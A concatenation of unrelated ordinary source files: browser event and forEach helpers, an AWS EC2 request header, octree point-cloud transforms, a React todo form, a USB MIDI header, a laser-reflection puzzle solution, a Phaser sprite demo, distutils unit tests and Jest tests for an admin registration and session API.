returnValue = false; } } return returnValue; }; function fixEvent(event) { // add W3C standard event methods event.preventDefault = fixEvent.preventDefault; event.stopPropagation = fixEvent.stopPropagation; return event; }; fixEvent.preventDefault = function() { this.returnValue = false; }; fixEvent.stopPropagation = function() { this.cancelBubble = true; } // Dean's forEach: http://dean.edwards.name/base/forEach.js /* forEach, version 1.0 Copyright 2006, Dean Edwards License: http://www.opensource.org/licenses/mit-license.php */ // array-like enumeration if (!Array.forEach) { // mozilla already supports this Array.forEach = function(array, block, context) { for (var i = 0; i < array.length; i++) { block.call(context, array[i], i, array); } }; } // generic enumeration Function.prototype.forEach = function(object, block, context) { for (var key in object) { if (typeof this.prototype[key] == "undefined") { block.call(context, object[key], key, object); } } }; // character enumeration String.forEach = function(string, block, context) { Array.forEach(string.split(""), function(chr, index) { block.call(context, chr, index, string); }); }; // globally resolve forEach enumeration var forEach = function(object, block, context) { if (object) { var resolve = Object; // default if (object instanceof Function) { // functions have a "length" property resolve = Function; } else if (object.forEach instanceof Function) { // the object implements a custom forEach method so use that object.forEach(block, context); return; } else if (typeof object == "string") { // the object is a string resolve = String; } else if (typeof object.length == "number") { // the object is array-like resolve = Array; } resolve.forEach(object, block, context); } };
/* * Copyright 2010-2013 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ #ifdef AWS_MULTI_FRAMEWORK #import <AWSRuntime/AmazonServiceRequest.h> #else #import "../AmazonServiceRequest.h" #endif #import "EC2Request.h" #import "EC2RevokeSecurityGroupIngressRequest.h" #import "EC2IpPermission.h" #import "EC2UserIdGroupPair.h" /** * Revoke Security Group Ingress Request Marshaller */ @interface EC2RevokeSecurityGroupIngressRequestMarshaller:NSObject { } +(AmazonServiceRequest *)createRequest:(EC2RevokeSecurityGroupIngressRequest *)revokeSecurityGroupIngressRequest; @end
import numpy as np import torch import ocnn class Points2Octree: ''' Convert a point cloud into an octree ''' def __init__(self, depth, full_depth=2, node_dis=False, node_feature=False, split_label=False, adaptive=False, adp_depth=4, th_normal=0.1, th_distance=1.0, extrapolate=False, save_pts=False, key2xyz=False, bb_min=(-1.0, -1.0, -1.0), bb_max=(1.0, 1.0, 1.0), **kwargs): self.depth = depth self.full_depth = full_depth self.node_dis = node_dis self.node_feature = node_feature self.split_label = split_label self.adaptive = adaptive self.adp_depth = adp_depth self.th_normal = th_normal self.th_distance = th_distance self.extrapolate = extrapolate self.save_pts = save_pts self.key2xyz = key2xyz self.bb_min = bb_min self.bb_max = bb_max def __call__(self, points): octree = ocnn.points2octree(points, self.depth, self.full_depth, self.node_dis, self.node_feature, self.split_label, self.adaptive, self.adp_depth, self.th_normal, self.th_distance, self.extrapolate, self.save_pts, self.key2xyz, self.bb_min[0], self.bb_min[1], self.bb_min[2], self.bb_max[0], self.bb_max[1], self.bb_max[2]) return octree class NormalizePoints: ''' Normalize a point cloud with its bounding sphere Args: bsphere: The method used to calculate the bounding sphere, choose from 'sphere' (bounding sphere) or 'box' (bounding box). radius: Mannually specify the radius of the bounding sphere, -1 means that the bounding sphere is not provided. ''' def __init__(self, bsphere='sphere', radius=-1.0, center=(-1.0,), **kwargs): self.bsphere = bsphere self.radius = radius self.center = center def __call__(self, points): if self.radius < 0: bsphere = ocnn.bounding_sphere(points, self.bsphere) radius, center = bsphere[0], bsphere[1:] else: radius, center = self.radius, self.center points = ocnn.normalize_points(points, radius, center) return points class TransformPoints: ''' Transform a point cloud and the points out of [-1, 1] are dropped. Make sure that the input points are in [-1, 1] ''' def __init__(self, distort, angle=[0, 180, 0], scale=0.25, jitter=0.25, offset=0.0, angle_interval=[1, 1, 1], uniform_scale=False, normal_axis='', **kwargs): self.distort = distort self.angle = angle self.scale = scale self.jitter = jitter self.offset = offset self.angle_interval = angle_interval self.uniform_scale = uniform_scale self.normal_axis = normal_axis def __call__(self, points): rnd_angle = [0.0, 0.0, 0.0] rnd_scale = [1.0, 1.0, 1.0] rnd_jitter = [0.0, 0.0, 0.0] if self.distort: mul = 3.14159265 / 180.0 for i in range(3): rot_num = self.angle[i] // self.angle_interval[i] rnd = np.random.randint(low=-rot_num, high=rot_num+1, dtype=np.int32) rnd_angle[i] = rnd * self.angle_interval[i] * mul minval, maxval = 1 - self.scale, 1 + self.scale rnd_scale = np.random.uniform(low=minval, high=maxval, size=(3)).tolist() if self.uniform_scale: rnd_scale = [rnd_scale[0]]*3 minval, maxval = -self.jitter, self.jitter rnd_jitter = np.random.uniform(low=minval, high=maxval, size=(3)).tolist() # The range of points is [-1, 1] points = ocnn.transform_points( points, rnd_angle, rnd_scale, rnd_jitter, self.offset, self.normal_axis) # clip the points into [-1, 1] points, inbox_mask = ocnn.clip_points(points, [-1.0]*3, [1.0]*3) return points, inbox_mask class TransformCompose: def __init__(self, flags): self.flags = flags self.normalize_points = NormalizePoints(**flags) self.transform_points = TransformPoints(**flags) self.points2octree = Points2Octree(**flags) def __call__(self, points, idx): # Normalize the points into one unit sphere in [-1, 1] points = self.normalize_points(points) # Apply the general transformations provided by ocnn. # The augmentations including rotation, scaling, and jittering, and the # input points out of [-1, 1] are clipped points, inbox_mask = self.transform_points(points) # Convert the points in [-1, 1] to an octree octree = self.points2octree(points) return {'octree': octree, 'points': points, 'inbox_mask': inbox_mask} def collate_octrees(batch): assert type(batch) == list outputs = {} for key in batch[0].keys(): outputs[key] = [b[key] for b in batch] # Merge a batch of octrees into one super octree if 'octree' in key: outputs[key] = ocnn.octree_batch(outputs[key]) # Convert the labels to a Tensor if 'label' in key: outputs['label'] = torch.tensor(outputs[key]) # # Concat the inbox_mask # if 'inbox_mask' in key: # pt_num = [mk.numel() for mk in outputs['inbox_mask']] # outputs['pt_num'] = torch.tensor(pt_num) # outputs['inbox_mask'] = torch.cat(outputs['inbox_mask'], dim=0) return outputs
import './__includes/css/todo.css'; import React, { useState } from 'react'; function NewTodo(){ const [items, setItems] = useState(['Take out the trash', 'Eat Breakfast', 'Brush teeth', 'Make Up the bed', 'Turn On energized music']); function handleAddItem(){ // projects.push(`Novo Projeto ${Date.now()}`); setItems([ ...items, `Novo Projeto ${Date.now()}`]); } return ( <form> <input type="text" className="itemName" id="itemName" placeholder="Adicionar Novo Item"/> <button type="submit">Adicionar</button> </form> ); } export default NewTodo;
import re from model.contact import Contact def test_contact_phones_on_home_page(app, db): home_page_contacts = app.contact.get_contact_list() db_contacts = db.get_contact_list() assert sorted(home_page_contacts, key=Contact.id_or_max) == sorted(db_contacts, key=Contact.id_or_max) sorted_home_page_contacts = sorted(home_page_contacts, key=Contact.id_or_max) sorted_db_contacts = sorted(db_contacts, key=Contact.id_or_max) for i in range(len(sorted_home_page_contacts)): assert sorted_home_page_contacts[i].all_emails_from_home_page == merge_emails_like_on_home_page(sorted_db_contacts[i]) assert sorted_home_page_contacts[i].all_phones_from_home_page == merge_phones_like_on_home_page(sorted_db_contacts[i]) def clear(s): s = re.sub("[() -]", "", s) if s.startswith("00"): s = s.replace("00", "+", 1) return s def merge_phones_like_on_home_page(contact): return "\n".join(filter(lambda x: x != "", map(lambda x: clear(x), filter(lambda x: x is not None, [contact.homephone, contact.mobilephone, contact.workphone, contact.secondaryphone])))) def merge_emails_like_on_home_page(contact): return "\n".join(filter(lambda x: x != "", filter(lambda x: x is not None, [contact.email, contact.email2, contact.email3])))
/** ****************************************************************************** * @file usbd_midi.h ****************************************************************************** (CC at)2016 by D.F.Mac. @TripArts Music */ /* Define to prevent recursive inclusion -------------------------------------*/ #ifndef __USB_MIDI_H #define __USB_MIDI_H #ifdef __cplusplus extern "C" { #endif /* Includes ------------------------------------------------------------------*/ #include "usbd_ioreq.h" #define MIDI_IN_EP 0x81 /* EP1 for data IN */ #define MIDI_OUT_EP 0x01 /* EP1 for data OUT */ // #define MIDI_DATA_HS_MAX_PACKET_SIZE 512 /* Endpoint IN & OUT Packet size */ #define MIDI_DATA_FS_MAX_PACKET_SIZE 64 /* Endpoint IN & OUT Packet size */ #define MIDI_CMD_PACKET_SIZE 8 /* Control Endpoint Packet size */ #define USB_MIDI_CONFIG_DESC_SIZ 101 #define MIDI_DATA_IN_PACKET_SIZE MIDI_DATA_FS_MAX_PACKET_SIZE #define MIDI_DATA_OUT_PACKET_SIZE MIDI_DATA_FS_MAX_PACKET_SIZE #define APP_RX_DATA_SIZE ((MIDI_DATA_FS_MAX_PACKET_SIZE) * 4) //2048->256 #define MIDI_IN_FRAME_INTERVAL 1 typedef struct _USBD_MIDI_ItfTypeDef{ uint16_t (*pIf_MidiRx) (uint8_t *msg, uint16_t length); uint16_t (*pIf_MidiTx) (uint8_t *msg, uint16_t length); }USBD_MIDI_ItfTypeDef; extern uint8_t APP_Rx_Buffer [APP_RX_DATA_SIZE]; extern uint32_t APP_Rx_ptr_in; extern uint32_t APP_Rx_ptr_out; extern uint32_t APP_Rx_length; extern volatile uint8_t USB_Tx_State; extern USBD_ClassTypeDef USBD_MIDI; #define USBD_MIDI_CLASS &USBD_MIDI uint8_t USBD_MIDI_RegisterInterface (USBD_HandleTypeDef *pdev, USBD_MIDI_ItfTypeDef *fops); #ifdef __cplusplus } #endif #endif /* __USB_MIDI_H */
# It have to be the one problem a raytracing engineer faced one day in his life and # never forgot. Gosh it took me so much time to figure this one out, easily the hardest # for me in this whole set of challenges. Basically you are in a room of given dimension # and can shoot a laser beam that reflects on walls and you need to figure out exactly # in which directions you can shoot so that it gets to your ennemy, given a max distance # and your position. For that one problem I made a huge essay on how it works in the # comments which I’m going to post below: # # The first thing you had to realize in order to solve this challenge is that you # could simply mirror the room and check if the beam gets where you want. Let me # show you: # In our case let us make a room of dimension [3,2], with the position of the # target at [1,2]. For the sake of simplicity let us imagine the beam is shot at # [1,2] and so we are trying to shot ourselves. We get something like this: # ----- # |*xx| # |xxx| # ----- # If we shoot with a vector of [1,0], aka straight ahead, we will get this result: # ----- # |*~~| # |xxx| # ----- # We can see that the beam gets back to you directly, thanks to the reflection, # and that the goal is achieved! But there is another way to do that: # ----- ----- # |*~~| |~~*| # |xxx| |xxx| # ----- ----- # We can here realize that, by putting a mirror version of the room where the beam # gets, we can make a straight line instead of calculating the reflection and see # that it gets to our original target, [1,2], being ourselves! # The good thing with that is that it also allows us to determine the distance # needed by the beam to get through, and thus we can mirror the rooms up to the # maximum distance easily. # The next thing to realize was that room mirrors in a pattern, see the below # diagram: # ----- # |*xx| # |xxx| # ----- # [...] ----- [...] # |xxx| # |*xx| # ----- # ----- ----- ----- ----- ----- # |*xx| |xx*| |*xx| |xx*| |*xx| # |xxx| |xxx| |xxx| |xxx| |xxx| # ----- ----- ----- ----- ----- # ----- # |xxx| # |*xx| # ----- # [...] ----- [...] # |*xx| # |xxx| # ----- # x always repeats in the same way, and so does y # Thus we need to figure out how to calculate how to mirror one room twice and we # can make an entire atlas of mirrored rooms! # In our case though the function below only calculates the mirrors of the point # of coordinates node across an atlas of length (distance*2)^2 # Sooo the hard part about this was figuring out about the mirroring of the room. # I was talking with a friend and when I told him about a specific thing that the # problem stated on the rooms, that if you shoot in the corner it reflects perfectly # we both had an Eureka moment: “Wait, isn’t the room reflection symmetric to itself?” # and then I looked up some 2D plane mirroring(which leaded to a ton of maths I didn’t # need actually and so I had to figure out a 1D transform on my own) and then just verify # the angles and ensure the distance of the guard is before yourself. import math def mirror_atlas(node, dimensions, distance): node_mirrored = [] for i in range(len(node)): points = [] for j in range(-(distance//dimensions[i])-1, (distance//dimensions[i]+2)): points.append(get_mirror(j, node[i], dimensions[i])) node_mirrored.append(points) return node_mirrored def get_mirror(mirror, coordinates, dimensions): res = coordinates mirror_rotation = [2*coordinates, 2*(dimensions-coordinates)] if(mirror < 0): for i in range(mirror, 0): res -= mirror_rotation[(i+1) % 2] else: for i in range(mirror, 0, -1): res += mirror_rotation[i % 2] return res def solution(dimensions, your_position, guard_position, distance): mirrored = [mirror_atlas(your_position, dimensions, distance), mirror_atlas(guard_position, dimensions, distance)] res = set() angles_dist = {} for i in range(0, len(mirrored)): for j in mirrored[i][0]: for k in mirrored[i][1]: beam = math.atan2((your_position[1]-k), (your_position[0]-j)) l = math.sqrt((your_position[0]-j)**2 + (your_position[1]-k)**2) if [j, k] != your_position and distance >= l: if((beam in angles_dist and angles_dist[beam] > l) or beam not in angles_dist): if i == 0: angles_dist[beam] = l else: angles_dist[beam] = l res.add(beam) return len(res) # ======================= Test Case ========================================== if __name__ == "__main__": tests = [ [ [3, 2], [1, 1], [2, 1], 400 ], ] results = [0 for x in range(len(tests))] answers = [6, 16, 935, 2789, 2000000000, 23, 256, 141031256] timingsSum = [0 for x in range(len(tests))] testRuns = 10 for j in range(1, testRuns + 1): print("Testing round: " + str(j)) for i in range(len(tests)): results[i] = solution(tests[i][0], tests[i][1], tests[i][2], tests[i][3]) for i, t in enumerate(timingsSum): print("Test " + str(i + 1) + " runtime: " + str(t/testRuns))
var game = new Phaser.Game(800, 600, Phaser.CANVAS, 'phaser-example', { preload: preload, create: create }); function preload() { game.load.spritesheet('coin', 'assets/sprites/coin.png', 32, 32); } var coins; function create() { // Here we create our coins group coins = game.add.group(); // Now let's add 50 coins into it for (var i = 0; i < 50; i++) { coins.create(game.world.randomX / 2, game.world.randomY / 2, 'coin', 0); } // And now we scale it: x2 on the x and y axis coins.scale.set(2, 2); }
# -*- coding: utf8 -*- """Tests for distutils.dist.""" import os import StringIO import sys import unittest import warnings import textwrap from distutils.dist import Distribution, fix_help_options from distutils.cmd import Command import distutils.dist from test.test_support import TESTFN, captured_stdout, run_unittest, unlink from distutils.tests import support from distutils import log class test_dist(Command): """Sample distutils extension command.""" user_options = [ ("sample-option=", "S", "help text"), ] def initialize_options(self): self.sample_option = None class TestDistribution(Distribution): """Distribution subclasses that avoids the default search for configuration files. The ._config_files attribute must be set before .parse_config_files() is called. """ def find_config_files(self): return self._config_files class DistributionTestCase(support.TempdirManager, support.LoggingSilencer, support.EnvironGuard, unittest.TestCase): def setUp(self): super(DistributionTestCase, self).setUp() self.argv = sys.argv, sys.argv[:] del sys.argv[1:] def tearDown(self): sys.argv = self.argv[0] sys.argv[:] = self.argv[1] super(DistributionTestCase, self).tearDown() def create_distribution(self, configfiles=()): d = TestDistribution() d._config_files = configfiles d.parse_config_files() d.parse_command_line() return d def test_debug_mode(self): with open(TESTFN, "w") as f: f.write("[global]\n") f.write("command_packages = foo.bar, splat") self.addCleanup(unlink, TESTFN) files = [TESTFN] sys.argv.append("build") with captured_stdout() as stdout: self.create_distribution(files) stdout.seek(0) self.assertEqual(stdout.read(), '') distutils.dist.DEBUG = True try: with captured_stdout() as stdout: self.create_distribution(files) stdout.seek(0) self.assertEqual(stdout.read(), '') finally: distutils.dist.DEBUG = False def test_command_packages_unspecified(self): sys.argv.append("build") d = self.create_distribution() self.assertEqual(d.get_command_packages(), ["distutils.command"]) def test_command_packages_cmdline(self): from distutils.tests.test_dist import test_dist sys.argv.extend(["--command-packages", "foo.bar,distutils.tests", "test_dist", "-Ssometext", ]) d = self.create_distribution() # let's actually try to load our test command: self.assertEqual(d.get_command_packages(), ["distutils.command", "foo.bar", "distutils.tests"]) cmd = d.get_command_obj("test_dist") self.assertIsInstance(cmd, test_dist) self.assertEqual(cmd.sample_option, "sometext") def test_command_packages_configfile(self): sys.argv.append("build") self.addCleanup(os.unlink, TESTFN) f = open(TESTFN, "w") try: print >> f, "[global]" print >> f, "command_packages = foo.bar, splat" finally: f.close() d = self.create_distribution([TESTFN]) self.assertEqual(d.get_command_packages(), ["distutils.command", "foo.bar", "splat"]) # ensure command line overrides config: sys.argv[1:] = ["--command-packages", "spork", "build"] d = self.create_distribution([TESTFN]) self.assertEqual(d.get_command_packages(), ["distutils.command", "spork"]) # Setting --command-packages to '' should cause the default to # be used even if a config file specified something else: sys.argv[1:] = ["--command-packages", "", "build"] d = self.create_distribution([TESTFN]) self.assertEqual(d.get_command_packages(), ["distutils.command"]) def test_write_pkg_file(self): # Check DistributionMetadata handling of Unicode fields tmp_dir = self.mkdtemp() my_file = os.path.join(tmp_dir, 'f') klass = Distribution dist = klass(attrs={'author': u'Mister Café', 'name': 'my.package', 'maintainer': u'Café Junior', 'description': u'Café torréfié', 'long_description': u'Héhéhé'}) # let's make sure the file can be written # with Unicode fields. they are encoded with # PKG_INFO_ENCODING dist.metadata.write_pkg_file(open(my_file, 'w')) # regular ascii is of course always usable dist = klass(attrs={'author': 'Mister Cafe', 'name': 'my.package', 'maintainer': 'Cafe Junior', 'description': 'Cafe torrefie', 'long_description': 'Hehehe'}) my_file2 = os.path.join(tmp_dir, 'f2') dist.metadata.write_pkg_file(open(my_file2, 'w')) def test_empty_options(self): # an empty options dictionary should not stay in the # list of attributes # catching warnings warns = [] def _warn(msg): warns.append(msg) self.addCleanup(setattr, warnings, 'warn', warnings.warn) warnings.warn = _warn dist = Distribution(attrs={'author': 'xxx', 'name': 'xxx', 'version': 'xxx', 'url': 'xxxx', 'options': {}}) self.assertEqual(len(warns), 0) self.assertNotIn('options', dir(dist)) def test_finalize_options(self): attrs = {'keywords': 'one,two', 'platforms': 'one,two'} dist = Distribution(attrs=attrs) dist.finalize_options() # finalize_option splits platforms and keywords self.assertEqual(dist.metadata.platforms, ['one', 'two']) self.assertEqual(dist.metadata.keywords, ['one', 'two']) def test_get_command_packages(self): dist = Distribution() self.assertEqual(dist.command_packages, None) cmds = dist.get_command_packages() self.assertEqual(cmds, ['distutils.command']) self.assertEqual(dist.command_packages, ['distutils.command']) dist.command_packages = 'one,two' cmds = dist.get_command_packages() self.assertEqual(cmds, ['distutils.command', 'one', 'two']) def test_announce(self): # make sure the level is known dist = Distribution() args = ('ok',) kwargs = {'level': 'ok2'} self.assertRaises(ValueError, dist.announce, args, kwargs) def test_find_config_files_disable(self): # Ticket #1180: Allow user to disable their home config file. temp_home = self.mkdtemp() if os.name == 'posix': user_filename = os.path.join(temp_home, ".pydistutils.cfg") else: user_filename = os.path.join(temp_home, "pydistutils.cfg") with open(user_filename, 'w') as f: f.write('[distutils]\n') def _expander(path): return temp_home old_expander = os.path.expanduser os.path.expanduser = _expander try: d = distutils.dist.Distribution() all_files = d.find_config_files() d = distutils.dist.Distribution(attrs={'script_args': ['--no-user-cfg']}) files = d.find_config_files() finally: os.path.expanduser = old_expander # make sure --no-user-cfg disables the user cfg file self.assertEqual(len(all_files)-1, len(files)) class MetadataTestCase(support.TempdirManager, support.EnvironGuard, unittest.TestCase): def setUp(self): super(MetadataTestCase, self).setUp() self.argv = sys.argv, sys.argv[:] def tearDown(self): sys.argv = self.argv[0] sys.argv[:] = self.argv[1] super(MetadataTestCase, self).tearDown() def test_classifier(self): attrs = {'name': 'Boa', 'version': '3.0', 'classifiers': ['Programming Language :: Python :: 3']} dist = Distribution(attrs) meta = self.format_metadata(dist) self.assertIn('Metadata-Version: 1.1', meta) def test_download_url(self): attrs = {'name': 'Boa', 'version': '3.0', 'download_url': 'http://example.org/boa'} dist = Distribution(attrs) meta = self.format_metadata(dist) self.assertIn('Metadata-Version: 1.1', meta) def test_long_description(self): long_desc = textwrap.dedent("""\ example:: We start here and continue here and end here.""") attrs = {"name": "package", "version": "1.0", "long_description": long_desc} dist = Distribution(attrs) meta = self.format_metadata(dist) meta = meta.replace('\n' + 8 * ' ', '\n') self.assertIn(long_desc, meta) def test_simple_metadata(self): attrs = {"name": "package", "version": "1.0"} dist = Distribution(attrs) meta = self.format_metadata(dist) self.assertIn("Metadata-Version: 1.0", meta) self.assertNotIn("provides:", meta.lower()) self.assertNotIn("requires:", meta.lower()) self.assertNotIn("obsoletes:", meta.lower()) def test_provides(self): attrs = {"name": "package", "version": "1.0", "provides": ["package", "package.sub"]} dist = Distribution(attrs) self.assertEqual(dist.metadata.get_provides(), ["package", "package.sub"]) self.assertEqual(dist.get_provides(), ["package", "package.sub"]) meta = self.format_metadata(dist) self.assertIn("Metadata-Version: 1.1", meta) self.assertNotIn("requires:", meta.lower()) self.assertNotIn("obsoletes:", meta.lower()) def test_provides_illegal(self): self.assertRaises(ValueError, Distribution, {"name": "package", "version": "1.0", "provides": ["my.pkg (splat)"]}) def test_requires(self): attrs = {"name": "package", "version": "1.0", "requires": ["other", "another (==1.0)"]} dist = Distribution(attrs) self.assertEqual(dist.metadata.get_requires(), ["other", "another (==1.0)"]) self.assertEqual(dist.get_requires(), ["other", "another (==1.0)"]) meta = self.format_metadata(dist) self.assertIn("Metadata-Version: 1.1", meta) self.assertNotIn("provides:", meta.lower()) self.assertIn("Requires: other", meta) self.assertIn("Requires: another (==1.0)", meta) self.assertNotIn("obsoletes:", meta.lower()) def test_requires_illegal(self): self.assertRaises(ValueError, Distribution, {"name": "package", "version": "1.0", "requires": ["my.pkg (splat)"]}) def test_obsoletes(self): attrs = {"name": "package", "version": "1.0", "obsoletes": ["other", "another (<1.0)"]} dist = Distribution(attrs) self.assertEqual(dist.metadata.get_obsoletes(), ["other", "another (<1.0)"]) self.assertEqual(dist.get_obsoletes(), ["other", "another (<1.0)"]) meta = self.format_metadata(dist) self.assertIn("Metadata-Version: 1.1", meta) self.assertNotIn("provides:", meta.lower()) self.assertNotIn("requires:", meta.lower()) self.assertIn("Obsoletes: other", meta) self.assertIn("Obsoletes: another (<1.0)", meta) def test_obsoletes_illegal(self): self.assertRaises(ValueError, Distribution, {"name": "package", "version": "1.0", "obsoletes": ["my.pkg (splat)"]}) def format_metadata(self, dist): sio = StringIO.StringIO() dist.metadata.write_pkg_file(sio) return sio.getvalue() def test_custom_pydistutils(self): # fixes #2166 # make sure pydistutils.cfg is found if os.name == 'posix': user_filename = ".pydistutils.cfg" else: user_filename = "pydistutils.cfg" temp_dir = self.mkdtemp() user_filename = os.path.join(temp_dir, user_filename) f = open(user_filename, 'w') try: f.write('.') finally: f.close() try: dist = Distribution() # linux-style if sys.platform in ('linux', 'darwin'): os.environ['HOME'] = temp_dir files = dist.find_config_files() self.assertIn(user_filename, files) # win32-style if sys.platform == 'win32': # home drive should be found os.environ['HOME'] = temp_dir files = dist.find_config_files() self.assertIn(user_filename, files, '%r not found in %r' % (user_filename, files)) finally: os.remove(user_filename) def test_fix_help_options(self): help_tuples = [('a', 'b', 'c', 'd'), (1, 2, 3, 4)] fancy_options = fix_help_options(help_tuples) self.assertEqual(fancy_options[0], ('a', 'b', 'c')) self.assertEqual(fancy_options[1], (1, 2, 3)) def test_show_help(self): # smoke test, just makes sure some help is displayed self.addCleanup(log.set_threshold, log._global_log.threshold) dist = Distribution() sys.argv = [] dist.help = 1 dist.script_name = 'setup.py' with captured_stdout() as s: dist.parse_command_line() output = [line for line in s.getvalue().split('\n') if line.strip() != ''] self.assertTrue(output) def test_read_metadata(self): attrs = {"name": "package", "version": "1.0", "long_description": "desc", "description": "xxx", "download_url": "http://example.com", "keywords": ['one', 'two'], "requires": ['foo']} dist = Distribution(attrs) metadata = dist.metadata # write it then reloads it PKG_INFO = StringIO.StringIO() metadata.write_pkg_file(PKG_INFO) PKG_INFO.seek(0) metadata.read_pkg_file(PKG_INFO) self.assertEqual(metadata.name, "package") self.assertEqual(metadata.version, "1.0") self.assertEqual(metadata.description, "xxx") self.assertEqual(metadata.download_url, 'http://example.com') self.assertEqual(metadata.keywords, ['one', 'two']) self.assertEqual(metadata.platforms, ['UNKNOWN']) self.assertEqual(metadata.obsoletes, None) self.assertEqual(metadata.requires, ['foo']) def test_suite(): suite = unittest.TestSuite() suite.addTest(unittest.makeSuite(DistributionTestCase)) suite.addTest(unittest.makeSuite(MetadataTestCase)) return suite if __name__ == "__main__": run_unittest(test_suite())
const { getResponse, truncateDatabase } = require('../setup'); const adminFactory = require('../factory/admins'); const { encryptPassword } = require('../../app/services/bcrypt'); const baseUrl = '/admins'; const sessionsUrl = '/admins/sessions'; describe('POST /admins', () => { const adminData = { first_name: 'fn', last_name: 'ln', email: 'prueba@prueba.prueba', password: 'pass123' }; describe('Missing and invalid parameters', () => { describe('Missing one parameter', () => { it('Should set status code to 400 and internal code to invalid_params if missing first_name', () => { const currentAdminData = { ...adminData }; delete currentAdminData.first_name; return getResponse({ method: 'post', endpoint: baseUrl, body: currentAdminData }).then(res => { expect(res.status).toBe(400); expect(res.body.message.errors).toHaveLength(1); expect(res.body.message.errors[0].param).toBe('first_name'); expect(res.body.internal_code).toBe('invalid_params'); }); }); it('Should set status code to 400 and internal code to invalid_params if missing last_name', () => { const currentAdminData = { ...adminData }; delete currentAdminData.last_name; return getResponse({ method: 'post', endpoint: baseUrl, body: currentAdminData }).then(res => { expect(res.status).toBe(400); expect(res.body.message.errors).toHaveLength(1); expect(res.body.message.errors[0].param).toBe('last_name'); expect(res.body.internal_code).toBe('invalid_params'); }); }); it('Should set status code to 400 and internal code to invalid_params if missing email', () => { const currentAdminData = { ...adminData }; delete currentAdminData.email; return getResponse({ method: 'post', endpoint: baseUrl, body: currentAdminData }).then(res => { expect(res.status).toBe(400); expect(res.body.message.errors).toHaveLength(1); expect(res.body.message.errors[0].param).toBe('email'); expect(res.body.internal_code).toBe('invalid_params'); }); }); it('Should set status code to 400 and internal code to invalid_params if missing password', () => { const currentAdminData = { ...adminData }; delete currentAdminData.password; return getResponse({ method: 'post', endpoint: baseUrl, body: currentAdminData }).then(res => { expect(res.status).toBe(400); expect(res.body.message.errors).toHaveLength(2); expect(res.body.internal_code).toBe('invalid_params'); }); }); }); describe('Missing multiple parameters', () => { it('Should set status code to 400 and internal code to invalid_params if missing multiple params', () => getResponse({ method: 'post', endpoint: baseUrl, body: { first_name: 'fn' } }).then(res => { expect(res.status).toBe(400); expect(res.body.message.errors).toHaveLength(4); expect(res.body.internal_code).toBe('invalid_params'); })); }); describe('Invalid email', () => { it('Should set status code to 400 and internal code to invalid_params if email is invalid', () => getResponse({ method: 'post', endpoint: baseUrl, body: { ...adminData, email: 'invalid email' } }).then(res => { expect(res.status).toBe(400); expect(res.body.message.errors).toHaveLength(1); expect(res.body.message.errors[0].param).toBe('email'); expect(res.body.internal_code).toBe('invalid_params'); })); }); describe('Invalid user_name', () => { it('Should set status code to 400 and internal code to invalid_params if first name is invalid', () => getResponse({ method: 'post', endpoint: baseUrl, body: { ...adminData, first_name: 5 } }).then(res => { expect(res.status).toBe(400); expect(res.body.message.errors).toHaveLength(1); expect(res.body.message.errors[0].param).toBe('first_name'); expect(res.body.internal_code).toBe('invalid_params'); })); }); describe('Invalid password: Length less than 6 charcaters', () => { it('Check status code', () => getResponse({ method: 'post', endpoint: baseUrl, body: { ...adminData, password: 'aaaa' } }).then(res => { expect(res.status).toBe(400); expect(res.body.message.errors).toHaveLength(1); expect(res.body.message.errors[0].param).toBe('password'); expect(res.body.internal_code).toBe('invalid_params'); })); }); }); describe('Admin created', () => { it('Should set status code to 201 if admin is created successfully', () => getResponse({ method: 'post', endpoint: baseUrl, body: adminData }).then(res => { expect(res.status).toBe(201); })); }); describe('Admin already exists', () => { let admin = {}; beforeEach(() => truncateDatabase() .then(() => adminFactory.create({ email: 'test@test.test' })) .then(createdAdmin => (admin = createdAdmin)) ); describe('Create admin with repeated email', () => { it('Should set status code to 400 and internal code to admin_email_already_exists if admin with that email exists', () => getResponse({ method: 'post', endpoint: baseUrl, body: { ...adminData, email: admin.email } }).then( res => { expect(res.status).toBe(400); expect(res.body.internal_code).toBe('admin_email_already_exists'); } )); }); }); }); describe('POST /admins/sessions', () => { const adminData = { email: 'test@test.com', password: 'MyPassword' }; describe('Missing parameters', () => { it('Should be status 400 if email is missing', () => { const currentAdminData = { ...adminData }; delete currentAdminData.email; return getResponse({ method: 'post', endpoint: sessionsUrl, body: currentAdminData }).then(res => { expect(res.status).toBe(400); expect(res.body.message.errors).toHaveLength(1); expect(res.body.message.errors[0].param).toBe('email'); expect(res.body.internal_code).toBe('invalid_params'); }); }); it('Should be status 400 if password is missing', () => { const currentAdminData = { ...adminData }; delete currentAdminData.password; return getResponse({ method: 'post', endpoint: sessionsUrl, body: currentAdminData }).then(res => { expect(res.status).toBe(400); expect(res.body.message.errors).toHaveLength(2); expect(res.body.internal_code).toBe('invalid_params'); }); }); it('Should be status 400 if both email and password are missing', () => getResponse({ method: 'post', endpoint: sessionsUrl, body: {} }).then(res => { expect(res.status).toBe(400); expect(res.body.message.errors).toHaveLength(3); expect(res.body.internal_code).toBe('invalid_params'); })); }); describe('Invalid parameters', () => { it('Should be status 400 if email is invalid', () => getResponse({ method: 'post', endpoint: sessionsUrl, body: { ...adminData, email: 'invalid email' } }).then(res => { expect(res.status).toBe(400); expect(res.body.message.errors).toHaveLength(1); expect(res.body.message.errors[0].param).toBe('email'); expect(res.body.internal_code).toBe('invalid_params'); })); it('Should be status 400 if password is shorter than 6 characters', () => getResponse({ method: 'post', endpoint: sessionsUrl, body: { ...adminData, password: '1234' } }).then( res => { expect(res.status).toBe(400); expect(res.body.message.errors).toHaveLength(1); expect(res.body.message.errors[0].param).toBe('password'); expect(res.body.internal_code).toBe('invalid_params'); } )); }); describe('Admin does not exists', () => { it('Check status code and internal code', () => getResponse({ endpoint: sessionsUrl, method: 'post', body: { email: 'noexiste@noexiste.noexiste', password: 'noexiste' } }).then(response => { expect(response.status).toBe(409); expect(response.body.internal_code).toBe('admin_not_exists'); })); }); describe('Admin exists, password mismatch', () => { let admin = {}; beforeEach(() => truncateDatabase() .then(() => adminFactory.create({ email: 'test@test.test', password: '123456' })) .then(createdAdmin => (admin = createdAdmin)) ); it('Check status code and internal code', () => getResponse({ endpoint: sessionsUrl, method: 'post', body: { email: admin.email, password: `${admin.password}a` } }).then(response => { 